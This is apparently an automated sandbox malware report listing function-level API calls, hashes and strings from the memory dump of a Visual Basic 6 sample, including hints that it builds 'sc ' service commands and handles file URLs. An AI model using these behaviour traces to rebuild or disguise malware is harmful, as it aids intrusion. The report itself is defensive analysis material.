__vbaFreeStr.MSVBVM60(004115AE), ref: 004115A7
__vbaErrorOverflow.MSVBVM60(?,?,0000000A), ref: 004115C9

Strings

gfff, xrefs: 0041137D
gfff, xrefs: 004113DF

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Free$#537$List$#516#593#594#631#714BstrCopyErrorOverflow
String ID: gfff$gfff
API String ID: 2397813863-3084402119
Opcode ID: 62ef2a4d85f8eb3fe8f937d03407a8f9ec95a64fd7d0ffd1317382de30af7ef6
Instruction ID: 89f21965ee05a7b64c3006bf8dd978c4399402eb5f0bddd0a045db34c415a49c
Opcode Fuzzy Hash: 62ef2a4d85f8eb3fe8f937d03407a8f9ec95a64fd7d0ffd1317382de30af7ef6
Instruction Fuzzy Hash: 9B9162B1E00249AFCB08DFA4DD45BDDBBFAEB88301F10412AE50AE7264EB345985CF54

Function 0041A5A0 Relevance: 52.7, APIs: 35, Instructions: 220COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0040C87B,00000000), ref: 0041A5BE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041A5EE
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,?,?,00000000,Function_000032B6), ref: 0041A5FF
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A60E
__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A62A
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041A664
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041A67A
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041A693
#525.MSVBVM60(00000104), ref: 0041A6BC
__vbaStrMove.MSVBVM60 ref: 0041A6C7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041A6FE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041A73D
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 0041A758
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041A77E
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 0041A78F
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041A7A4
#616.MSVBVM60(?,?,?,00000000), ref: 0041A7B9
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A7C7
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0041A7DE
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041A7EA
__vbaLenBstr.MSVBVM60(?,?,00000000), ref: 0041A7FB
__vbaStrCat.MSVBVM60(?,00407CCC,?,00000001,?,00000000), ref: 0041A822
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A830
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000000), ref: 0041A83C
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041A84A
__vbaInStr.MSVBVM60(00000001,00000000,?,00000000), ref: 0041A853
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 0041A879
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128,?,00000000), ref: 0041A8BA
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000), ref: 0041A8D0
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?,?,00000000), ref: 0041A8E9
__vbaSetSystemError.MSVBVM60(?), ref: 0041A90D
__vbaFreeStr.MSVBVM60(0041A96B), ref: 0041A937
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041A94F
__vbaFreeStr.MSVBVM60 ref: 0041A958
__vbaFreeStr.MSVBVM60 ref: 0041A964

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$FreeSystem$AnsiMove$#525#616BoundsBstrChkstkConstruct2CopyDestructGenerateListUnicode
String ID:
API String ID: 1820427907-0
Opcode ID: 966c6123da24b71d08ec0f7a5c1a4cfb51299011817f3b4dc7b4b5ec285d64dd
Instruction ID: da6c7bdc064fde5d6e21051214ad5d77861f7fd9d568965cd9a71694eebb6c89
Opcode Fuzzy Hash: 966c6123da24b71d08ec0f7a5c1a4cfb51299011817f3b4dc7b4b5ec285d64dd
Instruction Fuzzy Hash: B5A11975901259DBDB14EFA0DE4DBDEB7B4FB48304F1081A9E10AB72A0DB745A84CF58

Function 004193C0 Relevance: 51.3, APIs: 34, Instructions: 299COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 004193DE
__vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 0041940E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00419428
__vbaRedim.MSVBVM60(00000000,0000004C,?,00000000,00000001,?,00000000), ref: 00419458
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000000,00000000), ref: 0041947D
__vbaAryLock.MSVBVM60(?,?), ref: 00419495
__vbaGenerateBoundsError.MSVBVM60 ref: 004194C9
__vbaGenerateBoundsError.MSVBVM60 ref: 004194DA
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 004194FA
__vbaAryUnlock.MSVBVM60(00000000), ref: 00419504
__vbaAryLock.MSVBVM60(?,?), ref: 00419519
__vbaGenerateBoundsError.MSVBVM60 ref: 0041954D
__vbaGenerateBoundsError.MSVBVM60 ref: 0041955E
__vbaAryLock.MSVBVM60(00000000,?), ref: 0041956F
__vbaGenerateBoundsError.MSVBVM60 ref: 004195A3
__vbaGenerateBoundsError.MSVBVM60 ref: 004195B7
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 004195E6
__vbaAryUnlock.MSVBVM60(00000000), ref: 004195F0
__vbaAryUnlock.MSVBVM60(00000000), ref: 004195FA
__vbaAryLock.MSVBVM60(00000000,?), ref: 00419650
__vbaAryDestruct.MSVBVM60(00000000,?,00419803), ref: 004197F0
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004197FC

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Lock$SystemUnlock$DestructRedim$Chkstk
String ID:
API String ID: 3555954879-0
Opcode ID: d7053a601a00c9baf09ed0f933eca4d89ef72334d0a3dcf76765fe079d3190a2
Instruction ID: 67aec0367089ad9bdb06f85a3682bb1edb9e8b84c894a553a99a1ed1c2ada365
Opcode Fuzzy Hash: d7053a601a00c9baf09ed0f933eca4d89ef72334d0a3dcf76765fe079d3190a2
Instruction Fuzzy Hash: BED1E470D00208EFDB18DFA4DA98BDDBBB5BF48300F10815AE516B72A1DB74A985CF55

Function 00420F80 Relevance: 49.7, APIs: 33, Instructions: 230COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(00000000,00001000,6D23DAF4,6D16D9F5), ref: 00420FA3
__vbaGenerateBoundsError.MSVBVM60(00000000,00001000,6D23DAF4,6D16D9F5), ref: 00420FC5
__vbaI2I4.MSVBVM60(00000000,00001000,6D23DAF4,6D16D9F5), ref: 00420FD2
__vbaGenerateBoundsError.MSVBVM60 ref: 00420FE6
__vbaI2I4.MSVBVM60 ref: 00420FED
__vbaGenerateBoundsError.MSVBVM60 ref: 00421029
__vbaGenerateBoundsError.MSVBVM60 ref: 00421044
__vbaGenerateBoundsError.MSVBVM60 ref: 00421056
__vbaGenerateBoundsError.MSVBVM60 ref: 00421071
__vbaGenerateBoundsError.MSVBVM60 ref: 004210A0
__vbaGenerateBoundsError.MSVBVM60 ref: 004210C6
__vbaGenerateBoundsError.MSVBVM60 ref: 0042113B
__vbaGenerateBoundsError.MSVBVM60 ref: 00421149
__vbaGenerateBoundsError.MSVBVM60 ref: 00421160
__vbaGenerateBoundsError.MSVBVM60 ref: 0042116A
__vbaGenerateBoundsError.MSVBVM60 ref: 00421181
__vbaGenerateBoundsError.MSVBVM60 ref: 0042118B
__vbaGenerateBoundsError.MSVBVM60 ref: 004211A2
__vbaGenerateBoundsError.MSVBVM60 ref: 004211B5
__vbaGenerateBoundsError.MSVBVM60 ref: 004211CE
__vbaGenerateBoundsError.MSVBVM60 ref: 004211E2
__vbaGenerateBoundsError.MSVBVM60 ref: 004211F5
__vbaGenerateBoundsError.MSVBVM60 ref: 00421209
__vbaGenerateBoundsError.MSVBVM60 ref: 00421223
__vbaGenerateBoundsError.MSVBVM60 ref: 00421237
__vbaGenerateBoundsError.MSVBVM60 ref: 00421250
__vbaGenerateBoundsError.MSVBVM60 ref: 00421269
__vbaGenerateBoundsError.MSVBVM60 ref: 00421281
__vbaGenerateBoundsError.MSVBVM60 ref: 0042129F
__vbaGenerateBoundsError.MSVBVM60 ref: 004212B2
__vbaGenerateBoundsError.MSVBVM60 ref: 004212C6
__vbaI2I4.MSVBVM60 ref: 004212CD
__vbaErrorOverflow.MSVBVM60(00000000,00001000,6D23DAF4,6D16D9F5), ref: 004212E7

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Overflow
String ID:
API String ID: 2760075901-0
Opcode ID: 7623d4b20da7c6b818f332ecc799d3caca9fe6e1c56e874aff0741b4b89b7b8a
Instruction ID: 6f7972a480d0dd1fda114303b5166632bd8b31c6f1599b60b9e65e0100795082
Opcode Fuzzy Hash: 7623d4b20da7c6b818f332ecc799d3caca9fe6e1c56e874aff0741b4b89b7b8a
Instruction Fuzzy Hash: 0F81D835B00361C6C724AB98E9C65ADB3A3BFA9701FC10076D580A7271CF7998C1C7AE

Function 00420C20 Relevance: 49.7, APIs: 33, Instructions: 191COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(6D16D8B1), ref: 00420C36
__vbaGenerateBoundsError.MSVBVM60(6D16D8B1), ref: 00420C51
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420C6B
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420C84
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420C9B
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420CB9
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420CD3
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420CEF
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420D0A
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420D24
__vbaGenerateBoundsError.MSVBVM60 ref: 00420D2E
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420D42
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420D60
__vbaGenerateBoundsError.MSVBVM60 ref: 00420D6A
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420D7E
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420D95
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420D9F
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420DB6
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420DC9
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420DE6
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420DF0
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420E07
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420E1B
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420E32
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420E3F
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420E56
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420E6A
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420E85
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420E99
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420EAE
__vbaGenerateBoundsError.MSVBVM60(00000000,6D162523,6D16D8B1), ref: 00420EC2
__vbaGenerateBoundsError.MSVBVM60(6D16D8B1), ref: 00420ED8
__vbaI2I4.MSVBVM60(6D16D8B1), ref: 00420EDF

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$BoundsErrorGenerate
String ID:
API String ID: 3574812510-0
Opcode ID: 531f9eca504aa198c6c6dfefc7d7df16526d6ddf688e9b54a0de9df055713b13
Instruction ID: aa417d5a5a3cc9c21652b4fe2a9d25cfa30c058b0be9d244c1a14ba1329cb19f
Opcode Fuzzy Hash: 531f9eca504aa198c6c6dfefc7d7df16526d6ddf688e9b54a0de9df055713b13
Instruction Fuzzy Hash: 9E718935F1136586D724AB99E9C75ADB3E3BF88701FC11466C48123262DFB8A8C1C6DD

Function 00426720 Relevance: 46.8, APIs: 31, Instructions: 331COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,00000000,6D19285F,6D181654), ref: 00426796
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,00000000), ref: 004267C7
__vbaSetSystemError.MSVBVM60(?,?,00000040,?,00000000), ref: 004267DF
__vbaSetSystemError.MSVBVM60(?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426804
__vbaSetSystemError.MSVBVM60(?,?,00000014,?,00000000,?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426819
__vbaSetSystemError.MSVBVM60(?,?,000000E0,?,00000000,?,?,00000014,?,00000000,?,?,?,00000000,?,?), ref: 00426834
__vbaRedim.MSVBVM60(00000000,00000028,?,00000000,00000001,00000000,00000000,?,?,000000E0,?,00000000,?,?,00000014,?), ref: 00426853
__vbaAryLock.MSVBVM60(?,?,?,00000000,?,?,00000040,?,00000000), ref: 00426867
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426887
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004268A7
__vbaSetSystemError.MSVBVM60(?,3F800000,?,?,00000000,?,?,00000040,?,00000000), ref: 004268D5
__vbaAryUnlock.MSVBVM60(?,?,?,00000040,?,00000000), ref: 004268DE
__vbaUbound.MSVBVM60(00000001,?,?,?,00000040,?,00000000), ref: 004268F8
__vbaI2I4.MSVBVM60(?,?,00000040,?,00000000), ref: 00426900
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426936
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426946
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426962
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426972
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269A5
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269B5
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 004269FD
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A0D
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A33
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A43
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A69
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A79
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426A95
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00426AA2
__vbaExitProc.MSVBVM60(?,?,00000040,?,00000000), ref: 00426ACD
__vbaAryDestruct.MSVBVM60(00000000,?,00426AF5), ref: 00426AEE
__vbaErrorOverflow.MSVBVM60(?,00000000,?,?,00000040,?,00000000), ref: 00426B0B

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$System$DestructExitLockOverflowProcRedimUboundUnlock
String ID:
API String ID: 2234381736-0
Opcode ID: 8a3a9e375456d3784734aa077d45e81f9f694a82a56cb0dbdfd646f6f7379c76
Instruction ID: 8bb1792076bedc514fb8fc9f35066fd02f5cb142c2b8cf4fa96dc0b38f9b19a4
Opcode Fuzzy Hash: 8a3a9e375456d3784734aa077d45e81f9f694a82a56cb0dbdfd646f6f7379c76
Instruction Fuzzy Hash: 6FC17F71E001299BCF14DFA8D980AEEBBB5FF48304FA1819AD405B7240D775AD82CFA5

Function 0041F5C0 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0040B976,00000000), ref: 0041F5DE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041F60B
__vbaFixstrConstruct.MSVBVM60(00000100,?,?,?,?,00000000,Function_000032B6), ref: 0041F61A
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F629
__vbaStrToAnsi.MSVBVM60(00000001,Microsoft Internet Explorer,00000001,00000000,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041F647
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F656
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041F665
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,80000000,00000000), ref: 0041F696
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F6A9
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F6B7
__vbaFreeStr.MSVBVM60 ref: 0041F6C6
__vbaStrToAnsi.MSVBVM60(?,?,00000100,?), ref: 0041F6F5
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F705
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F713
__vbaLsetFixstr.MSVBVM60(00000000,?,00000000), ref: 0041F720
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041F730
__vbaStrToAnsi.MSVBVM60(?,?,00000100,00000000), ref: 0041F75E
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041F76E
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F77C
__vbaLsetFixstr.MSVBVM60(00000000,?,00000000), ref: 0041F789
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041F799
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F7B4
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F7CA
__vbaFreeStr.MSVBVM60(0041F811), ref: 0041F801
__vbaFreeStr.MSVBVM60 ref: 0041F80A

Strings

Microsoft Internet Explorer, xrefs: 0041F63E

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$FreeSystem$Ansi$FixstrUnicode$ListLset$ChkstkConstructCopy
String ID: Microsoft Internet Explorer
API String ID: 4206449948-3125735337
Opcode ID: cded7575dc80e55b3969bd68fd6dc42ddc0613399f5cdd5ea9fa15ec02432952
Instruction ID: b2079e6668a1cd7a86d62b88bf03b67035dbb3734d396ffb12c1851edfe9c710
Opcode Fuzzy Hash: cded7575dc80e55b3969bd68fd6dc42ddc0613399f5cdd5ea9fa15ec02432952
Instruction Fuzzy Hash: 4561CB75900208EFDB04EFE4EE49FDEBB78AB48705F104169F611B61A0CB746A45CB65

Function 00429340 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0042935E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 004293A3
__vbaStrCopy.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004293B8
#712.MSVBVM60(?,file:///,00408114,00000001,000000FF,00000000,?,?,?,?,Function_000032B6), ref: 004293D9
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 004293E4
#712.MSVBVM60(?,00409840,00406544,00000001,000000FF,00000000,?,?,?,?,Function_000032B6), ref: 00429405
__vbaStrMove.MSVBVM60(?,?,?,?,Function_000032B6), ref: 00429410
#572.MSVBVM60(00004002), ref: 00429469
__vbaStrMove.MSVBVM60 ref: 00429474
#537.MSVBVM60(00000020), ref: 0042947F
__vbaStrMove.MSVBVM60 ref: 0042948A
__vbaStrMove.MSVBVM60(00000001,000000FF,00000001), ref: 004294B6
__vbaStrMove.MSVBVM60(004097E0,00000000), ref: 004294C8
__vbaStrCat.MSVBVM60(00000000), ref: 004294CF
__vbaStrMove.MSVBVM60 ref: 004294DA
#712.MSVBVM60(?,00000000), ref: 004294E5
__vbaStrMove.MSVBVM60 ref: 004294F0
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,00000000,00000000), ref: 0042950C
__vbaStrCopy.MSVBVM60 ref: 0042952E
__vbaFreeStr.MSVBVM60(00429578), ref: 00429571
__vbaErrorOverflow.MSVBVM60 ref: 004295A2

Strings

, xrefs: 00429429
file:///, xrefs: 004293D0

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$#712$CopyErrorFree$#537#572ChkstkListOverflow
String ID: $file:///
API String ID: 1913684286-1087255347
Opcode ID: 10574e520546cbbb49ac820470f987c6e6ae451a19177e6353396db4924bff4d
Instruction ID: b77d49a70da6056938b5249be74374e1b73de407e439ef27e1b36e2e5139af87
Opcode Fuzzy Hash: 10574e520546cbbb49ac820470f987c6e6ae451a19177e6353396db4924bff4d
Instruction Fuzzy Hash: 6E510875E00209EBCB04DFA4DE48BDEBBB5FF08705F208269E512B72A0DB755A45CB58

Function 00415AF0 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 139fileCOMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E

Part of subcall function 004156D0: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041570B
Part of subcall function 004156D0: __vbaSetSystemError.MSVBVM60(00000000), ref: 00415719
Part of subcall function 004156D0: __vbaStrToUnicode.MSVBVM60(?,?), ref: 00415724
Part of subcall function 004156D0: __vbaFreeStr.MSVBVM60 ref: 0041572D

#580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
#529.MSVBVM60(00004008), ref: 00415B88
#609.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00415BB5
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 00415BC0
__vbaVarDup.MSVBVM60 ref: 00415BDA
#709.MSVBVM60(00000000,00406544,000000FF,00000000,?), ref: 00415C0F
#616.MSVBVM60(00000000,00000000), ref: 00415C1C
__vbaStrMove.MSVBVM60 ref: 00415C27
#650.MSVBVM60(00000008,?,00000001,00000001,00000000), ref: 00415C3A
__vbaStrMove.MSVBVM60 ref: 00415C45
__vbaStrCat.MSVBVM60(00000000), ref: 00415C4C
__vbaStrMove.MSVBVM60 ref: 00415C57
#535.MSVBVM60(00000000), ref: 00415C5E
__vbaStrR4.MSVBVM60 ref: 00415C68
__vbaStrMove.MSVBVM60 ref: 00415C73
__vbaStrCat.MSVBVM60(00000000), ref: 00415C7A
__vbaStrMove.MSVBVM60 ref: 00415C85
__vbaNameFile.MSVBVM60(00000000), ref: 00415C8C
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,?,00000000), ref: 00415CAC
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,00000000,004032B6), ref: 00415CBF

Strings

yymmdd, xrefs: 00415BC6

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Free$ErrorList$#529#535#580#609#616#650#709AnsiChkstkFileNameSystemUnicode
String ID: yymmdd
API String ID: 2807397001-2871001947
Opcode ID: 0a52f3ea78d8377f9a2e471ac3c9d7155881456b4ba9d1ca500980605009cd58
Instruction ID: da5027675b2f5c6fcc5daed963e92fc9253badbc1f1ecd6ba165b842c6da7c45
Opcode Fuzzy Hash: 0a52f3ea78d8377f9a2e471ac3c9d7155881456b4ba9d1ca500980605009cd58
Instruction Fuzzy Hash: 48511D75900208EFDB04DF94D948BDEBBB8FF48305F108569F506BB2A0DB745A48CB94

Function 0041EC69 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(?,?,00000020), ref: 0041ECA0

Part of subcall function 0041F150: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
Part of subcall function 0041F150: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
Part of subcall function 0041F150: #606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F1D1
Part of subcall function 0041F150: __vbaFreeVar.MSVBVM60 ref: 0041F1DA
Part of subcall function 0041F150: __vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
Part of subcall function 0041F150: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
Part of subcall function 0041F150: __vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F218
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F238
Part of subcall function 0041F150: __vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
Part of subcall function 0041F150: #616.MSVBVM60(?,-00000001), ref: 0041F251
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F25C
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F265
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B

__vbaStrMove.MSVBVM60(?), ref: 0041ECBB
__vbaStrCmp.MSVBVM60(00408114,?), ref: 0041ECD1
__vbaStrCat.MSVBVM60(00000000,00409A70,?), ref: 0041ECF1
__vbaStrMove.MSVBVM60 ref: 0041ECFC
__vbaStrCmp.MSVBVM60(00000000), ref: 0041ED03
__vbaFreeStr.MSVBVM60 ref: 0041ED1E
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041ED43
__vbaStrMove.MSVBVM60 ref: 0041ED4E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041ED5C
#600.MSVBVM60(00000008,00000000), ref: 0041ED7B
__vbaFreeStr.MSVBVM60 ref: 0041ED8A
__vbaFreeVar.MSVBVM60 ref: 0041ED96
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041EDAC
__vbaStrMove.MSVBVM60 ref: 0041EDB7
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EDC5
#600.MSVBVM60(00000008,00000000), ref: 0041EDE4
__vbaFreeStr.MSVBVM60 ref: 0041EDF3
__vbaFreeVar.MSVBVM60 ref: 0041EDFF

Part of subcall function 0041A980: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
Part of subcall function 0041A980: __vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
Part of subcall function 0041A980: __vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
Part of subcall function 0041A980: __vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
